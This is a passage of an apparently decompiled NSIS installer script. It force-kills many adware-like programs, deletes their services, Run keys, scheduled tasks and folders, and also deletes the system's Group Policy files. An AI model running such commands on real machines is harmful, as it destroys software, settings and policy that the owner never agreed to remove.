IfFileExists $PROGRAMFILES\Iuvo\GarleEatu.exe 0 label_1522
nsExec::Exec "cmd /k taskkill /IM GarleEatu.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM GarleEatu.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Zirnuhlo.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Zirnuhlo.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\GarleEatu
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Iuvo Updater"
RMDir /r /REBOOTOK $PROGRAMFILES\Iuvo
label_1522:
IfFileExists $DESKTOP\AliExpress.lnk 0 label_1524
Delete $DESKTOP\AliExpress.lnk
label_1524:
IfFileExists $APPDATA\AliExpress\osutils.vbs 0 label_1536
nsExec::Exec "cmd /k taskkill /IM Uninstaller.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Uninstaller.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"AliExpress$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"AliExpress$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\AliExpress
label_1536:
IfFileExists $APPDATA\UrlControl_\url_opener.exe 0 label_1549
nsExec::Exec "cmd /k taskkill /IM url_opener.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM url_opener.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM s_inst.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM s_inst.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Pritc
RMDir /r /REBOOTOK $APPDATA\UrlControl_
label_1549:
IfFileExists $APPDATA\SyManager\launcher.exe 0 label_1562
nsExec::Exec "cmd /k taskkill /IM launcher.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM launcher.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SyManager
RMDir /r /REBOOTOK $APPDATA\SyManager
label_1562:
IfFileExists $PROGRAMFILES64\Sound+\wizzcaster.exe 0 label_1581
nsExec::Exec "cmd /k taskkill /IM wizzcaster.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM wizzcaster.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM idscservice.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM idscservice.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Sound+.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Sound+.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\idscservice
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Caster
RMDir /r /REBOOTOK $PROGRAMFILES64\Sound+
label_1581:
IfFileExists $DESKTOP\Sound+.lnk 0 label_1583
Delete $DESKTOP\Sound+.lnk
label_1583:
IfFileExists $APPDATA\Bodiaha\Bodiaha.exe 0 label_1591
nsExec::Exec "cmd /k taskkill /IM Bodiaha.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Bodiaha.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Ufelpus
RMDir /r /REBOOTOK $APPDATA\Bodiaha
label_1591:
IfFileExists $DESKTOP\XYÀ¶Ô´«Ææ.lnk 0 label_1593
Delete $DESKTOP\XYÀ¶Ô´«Ææ.lnk
label_1593:
IfFileExists "$APPDATA\User Pinned\TaskBar\XYÀ¶Ô´«Ææ.lnk" 0 label_1595
Delete /REBOOTOK "$APPDATA\User Pinned\TaskBar\XYÀ¶Ô´«Ææ.lnk"
label_1595:
IfFileExists $PROGRAMFILES\À¶Ô´«Ææ\À¶Ô´«Ææ.exe 0 label_1597
RMDir /r /REBOOTOK $PROGRAMFILES\À¶Ô´«Ææ
label_1597:
ClearErrors
ReadRegStr $2 HKLM SYSTEM\ControlSet001\services\ProntSpooler ImagePath
IfErrors label_1798
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Goto label_1764
label_1606:
Exch $2
; Push $2
; Exch
; Pop $2
Exch
Exch $1
; Push $1
; Exch
; Pop $1
Exch
Exch 2
Exch $0
; Push $0
; Exch
; Pop $0
Exch 2
Exch 3
Exch $R0
; Push $R0
; Exch
; Pop $R0
Exch 3
Push $3
Push $4
Push $5
Push $6
Push $7
Push $R1
Push $R2
Push $R3
Push $R4
Push $R5
Push $R6
Push $R7
Push $R8
ClearErrors
StrCpy $R2 $0 "" -3
StrCmp $R2 eng label_1641
StrCmp $R2 rus label_1646
label_1641:
StrCpy $4 65
StrCpy $5 90
StrCpy $6 97
StrCpy $7 122
Goto label_1651
label_1646:
StrCpy $4 192
StrCpy $5 223
StrCpy $6 224
StrCpy $7 255
Goto label_1651
label_1651:
StrCpy $R7 ""
StrCpy $R8 ""
StrCmp $2 "" 0 label_1686
label_1654:
StrCpy $2 ""
StrCpy $3 $0 1
StrCmp $3 + label_1658
StrCmp $3 - 0 label_1660
label_1658:
StrCpy $0 $0 "" 1
Goto label_1661
label_1660:
StrCpy $3 ""
label_1661:
IntOp $0 $0 + 0
StrCmp $0 0 label_1667
StrCpy $R7 $0 1 0
StrCpy $R8 $0 1 1
StrCpy $R2 $0 1 2
StrCmp $R2 "" label_1671 label_1738
label_1667:
StrCmp $3 "" label_1744
StrCpy $R7 ""
StrCpy $R8 +-
Goto label_1686
label_1671:
StrCmp $R7 1 label_1674
StrCmp $R7 2 label_1674
StrCmp $R7 3 0 label_1738
label_1674:
StrCmp $R8 "" label_1686
StrCmp $R7$R8 23 label_1677
StrCmp $R7$R8 32 0 label_1679
label_1677:
StrCpy $R7 -1
Goto label_1686
label_1679:
StrCmp $R7$R8 13 label_1681
StrCmp $R7$R8 31 0 label_1683
label_1681:
StrCpy $R7 -2
Goto label_1686
label_1683:
StrCmp $R7$R8 12 label_1685
StrCmp $R7$R8 21 0 label_1738
label_1685:
StrCpy $R7 -3
label_1686:
StrCpy $R6 0
StrCpy $R1 ""
label_1688:
StrCpy $R2 $R0 1 $R6
StrCmp $R2 "" label_1741
StrCmp $2 "" label_1697
StrCpy $R4 0
label_1692:
StrCpy $R5 $2 1 $R4
StrCmp $R5 "" label_1735
StrCmp $R5 $R2 label_1736
IntOp $R4 $R4 + 1
Goto label_1692
label_1697:
StrCmp $1 "" label_1704
StrCpy $R4 0
label_1699:
StrCpy $R5 $1 1 $R4
StrCmp $R5 "" label_1704
StrCmp $R5 $R2 label_1735
IntOp $R4 $R4 + 1
Goto label_1699
label_1704:
StrCmp $R7 1 label_1706
StrCmp $R7 -1 0 label_1709
label_1706:
StrCpy $R4 48
StrCpy $R5 57
Goto label_1716
label_1709:
StrCmp $R8 +- 0 label_1711
StrCmp $3 + 0 label_1714
label_1711:
StrCpy $R4 $4
StrCpy $R5 $5
Goto label_1716
label_1714:
StrCpy $R4 $6
StrCpy $R5 $7
label_1716:
IntFmt $R3 %c $R4
StrCmp $R2 $R3 label_1721
StrCmp $R4 $R5 label_1725
IntOp $R4 $R4 + 1
Goto label_1716
label_1721:
StrCmp $R8 +- label_1734
StrCmp $R7 3 label_1736
StrCmp $R7 -3 label_1735
StrCmp $R8 "" label_1735 label_1736
label_1725:
StrCmp $R8 +- label_1735
StrCmp $R7 3 0 label_1728
StrCmp $R5 57 label_1735 label_1730
label_1728:
StrCmp $R7 -3 0 label_1733
StrCmp $R5 57 label_1736
label_1730:
StrCpy $R4 48
StrCpy $R5 57
Goto label_1716
label_1733:
StrCmp $R8 "" label_1736 label_1735
label_1734:
StrCpy $R2 $R3
label_1735:
StrCpy $R1 $R1$R2
label_1736:
IntOp $R6 $R6 + 1
Goto label_1688
label_1738:
SetErrors
StrCpy $R0 ""
Goto label_1744
label_1741:
StrCpy $R0 $R1
StrCmp $2 "" 0 label_1654
StrCmp $R8 +- 0 label_1667
label_1744:
Pop $R8
Pop $R7
Pop $R6
Pop $R5
Pop $R4
Pop $R3
Pop $R2
Pop $R1
Pop $7
Pop $6
Pop $5
Pop $4
Pop $3
Pop $2
Pop $1
Pop $0
Exch $R0
; Push $R0
; Exch
; Pop $R0
Return
label_1764:
Pop $2
Push $2
Call :label_1768
Goto label_1789
label_1768:
Exch $0
; Push $0
; Exch
; Pop $0
Push $1
Push $2
label_1773:
StrCpy $2 $0 1 -1
StrCmp $2 \ 0 label_1777
StrCpy $0 $0 -1
Goto label_1773
label_1777:
StrCpy $1 0
label_1778:
IntOp $1 $1 - 1
StrCpy $2 $0 1 $1
StrCmp $2 \ label_1782
StrCmp $2 "" 0 label_1778
label_1782:
StrCpy $0 $0 $1
Pop $2
Pop $1
Exch $0
; Push $0
; Exch
; Pop $0
Return
label_1789:
Pop $2
IfFileExists $2 0 label_1798
nsExec::Exec "cmd /k taskkill /IM abril.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM abril.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ProntSpooler
RMDir /r /REBOOTOK $2
label_1798:
IfFileExists $PROGRAMFILES\ms\data\WeatherItem.xml 0 label_1811
nsExec::Exec "cmd /k taskkill /IM launch.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM launch.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"ms$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"ms$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ms
RMDir /r /REBOOTOK $PROGRAMFILES\ms
label_1811:
IfFileExists $PROGRAMFILES\bd\Bind.exe 0 label_1826
nsExec::Exec "cmd /k taskkill /IM uc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM uc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Bind.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Bind.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run app
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide
RMDir /r /REBOOTOK $PROGRAMFILES\bd
label_1826:
ClearErrors
ReadRegStr $2 HKCU Software\Microsoft\otut product
IfErrors label_1836
IfFileExists $PROGRAMFILES\$2 0 label_1836
nsExec::Exec "cmd /k taskkill /IM otutnetwork.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM otutnetwork.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\$2
label_1836:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\HPDef Service" ImagePath
IfErrors label_1856
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_1856
nsExec::Exec "cmd /k taskkill /IM HomePageDefSrv.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM HomePageDefSrv.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\HPDef Service"
RMDir /r /REBOOTOK $2
label_1856:
IfFileExists $WINDIR\sysWOW64\SearchProtectService.exe 0 label_1886
DeleteRegKey HKLM SYSTEM\ControlSet001\services\SPS
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run C
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\GroupPolicy\Machine\R 0 label_1866
Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\R
label_1866:
IfFileExists $SYSDIR\GroupPolicy\User\R 0 label_1868
Delete /REBOOTOK $SYSDIR\GroupPolicy\User\R
label_1868:
IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_1870
Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol
label_1870:
IfFileExists $SYSDIR\GroupPolicy\User\Registry.pol 0 label_1872
Delete /REBOOTOK $SYSDIR\GroupPolicy\User\Registry.pol
label_1872:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\GroupPolicy\Machine\R 0 label_1879
Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\R
label_1879:
IfFileExists $SYSDIR\GroupPolicy\User\R 0 label_1881
Delete /REBOOTOK $SYSDIR\GroupPolicy\User\R
label_1881:
IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_1883
Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol
label_1883:
IfFileExists $SYSDIR\GroupPolicy\User\Registry.pol 0 label_1885
Delete /REBOOTOK $SYSDIR\GroupPolicy\User\Registry.pol
label_1885:
Delete /REBOOTOK $WINDIR\sysWOW64\SearchProtectService.exe
label_1886:
IfFileExists $WINDIR\system32\SearchProtectService.exe 0 label_1916
DeleteRegKey HKLM SYSTEM\ControlSet001\services\SPS
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run C
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\GroupPolicy\Machine\R 0 label_1896
Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\R
label_1896:
IfFileExists $SYSDIR\GroupPolicy\User\R 0 label_1898
Delete /REBOOTOK $SYSDIR\GroupPolicy\User\R
label_1898:
IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_1900
Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol
label_1900:
IfFileExists $SYSDIR\GroupPolicy\User\Registry.pol 0 label_1902
Delete /REBOOTOK $SYSDIR\GroupPolicy\User\Registry.pol
label_1902:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\GroupPolicy\Machine\R 0 label_1909
Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\R
label_1909:
IfFileExists $SYSDIR\GroupPolicy\User\R 0 label_1911
Delete /REBOOTOK $SYSDIR\GroupPolicy\User\R
label_1911:
IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_1913
Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol
label_1913:
IfFileExists $SYSDIR\GroupPolicy\User\Registry.pol 0 label_1915
Delete /REBOOTOK $SYSDIR\GroupPolicy\User\Registry.pol
label_1915:
Delete /REBOOTOK $WINDIR\system32\SearchProtectService.exe
label_1916:
IfFileExists "$LOCALAPPDATA\Host Service" 0 label_1935
nsExec::Exec "cmd /k taskkill /IM nssm.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM nssm.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM dofilter.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM dofilter.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM dofilterHost.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM dofilterHost.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Host Service"
DeleteRegKey HKLM SYSTEM\ControlSet001\services\dofilter
RMDir /r /REBOOTOK "$LOCALAPPDATA\Host Service"
label_1935:
IfFileExists $DESKTOP\¶à²Ê±ãÇ©.lnk 0 label_1937
Delete $DESKTOP\¶à²Ê±ãÇ©.lnk
label_1937:
IfFileExists $PROGRAMFILES\anote\anote.exe 0 label_1944
nsExec::Exec "cmd /k taskkill /IM anote.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM anote.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\anote
label_1944:
IfFileExists $PROGRAMFILES\Sicotion\sicotionhst.dll 0 label_1946
RMDir /r /REBOOTOK $PROGRAMFILES\Sicotion
label_1946:
IfFileExists $PROGRAMFILES\cmcm\kdesk\kdeskcore.exe 0 label_1960
nsExec::Exec "cmd /k taskkill /IM kdeskcore.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM kdeskcore.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM kdesk.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM kdesk.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\kdeskcore
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run kdesk
RMDir /r /REBOOTOK $PROGRAMFILES\cmcm
label_1960:
IfFileExists $PROGRAMFILES\kbasesrv\kbasesrv.exe 0 label_1968
nsExec::Exec "cmd /k taskkill /IM kbasesrv.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM kbasesrv.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\kbasesrv
RMDir /r /REBOOTOK $PROGRAMFILES\kbasesrv
label_1968:
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\kbasemgr.sys 0 label_1976
DeleteRegKey HKLM SYSTEM\ControlSet001\services\kbasemgr
Delete /REBOOTOK $SYSDIR\drivers\kbasemgr.sys
label_1976:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\kbasemgr.sys 0 label_1984
DeleteRegKey HKLM SYSTEM\ControlSet001\services\kbasemgr
Delete /REBOOTOK $SYSDIR\drivers\kbasemgr.sys
label_1984:
IfFileExists "$PROGRAMFILES\Funshion Online" 0 label_1993
nsExec::Exec "cmd /k taskkill /IM Funshion.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Funshion.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Funshion
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Funshion
RMDir /r /REBOOTOK "$PROGRAMFILES\Funshion Online"
label_1993:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\hpcghcdjnehpkdecaflpedhklimnejia $0
IfErrors label_1997
DeleteRegKey HKLM Software\Google\Chrome\Extensions\hpcghcdjnehpkdecaflpedhklimnejia
label_1997:
IfFileExists "$APPDATA\User Pinned\TaskBar\Êèíîïîèñê.website" 0 label_1999
Delete /REBOOTOK "$APPDATA\User Pinned\TaskBar\Êèíîïîèñê.website"
label_1999:
IfFileExists $PROGRAMFILES\MoshouInput 0 label_2017
nsExec::Exec "cmd /k taskkill /IM mohpimyin.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM mohpimyin.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM updater.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM updater.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM wizard.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM wizard.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run mohpimyin.exe
RMDir /r /REBOOTOK $PROGRAMFILES\MoshouInput
label_2017:
IfFileExists $APPDATA\MoshouInput 0 label_2019
RMDir /r /REBOOTOK $APPDATA\MoshouInput
label_2019:
IfFileExists $LOCALAPPDATA\translatemgr 0 label_2031
nsExec::Exec "cmd /k taskkill /IM translatemgr.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM translatemgr.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"translatemgr$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"translatemgr$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\translatemgr
label_2031:
IfFileExists $PROGRAMFILES\ADSKIP\ADSkipSvc.exe 0 label_2049
nsExec::Exec "cmd /k taskkill /IM ADSkipSvc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ADSkipSvc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ADSkip.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ADSkip.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM BugReport.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM BugReport.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ADSkipSvc
RMDir /r /REBOOTOK $PROGRAMFILES\ADSKIP
label_2049:
IfFileExists $PROGRAMFILES\WeatherChickn\WeatherChickn.exe 0 label_2061
nsExec::Exec "cmd /k taskkill /IM WeatherChickn.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM WeatherChickn.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"WeatherChickn$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"WeatherChickn$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES\WeatherChickn
label_2061:
IfFileExists $PROGRAMFILES\IconRunner\MoneyBot.exe 0 label_2069
nsExec::Exec "cmd /k taskkill /IM MoneyBot.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MoneyBot.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run IconRunner
RMDir /r /REBOOTOK $PROGRAMFILES\IconRunner
label_2069:
IfFileExists $APPDATA\WeatherChickn 0 label_2071
RMDir /r /REBOOTOK $APPDATA\WeatherChickn
label_2071:
IfFileExists $DESKTOP\AdSkip.lnk 0 label_2073
Delete $DESKTOP\AdSkip.lnk
label_2073:
IfFileExists $DESKTOP\¿ìѹ.lnk 0 label_2075
Delete $DESKTOP\¿ìѹ.lnk
label_2075:
IfFileExists $PROGRAMFILES\Wifisrv\WifiService.exe 0 label_2083
nsExec::Exec "cmd /k taskkill /IM WifiService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM WifiService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\WifiSrv
RMDir /r /REBOOTOK $PROGRAMFILES\Wifisrv
label_2083:
IfFileExists $PROGRAMFILES64\¿ìѹ 0 label_2105
nsExec::Exec "cmd /k taskkill /IM KuaiZip.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM KuaiZip.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM KZTui.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM KZTui.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM UpdateChecker.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM UpdateChecker.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"KuaiZip_Update$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"KuaiZip_Update$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES64\¿ìѹ
label_2105:
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\KuaiZipDrive.sys 0 label_2113
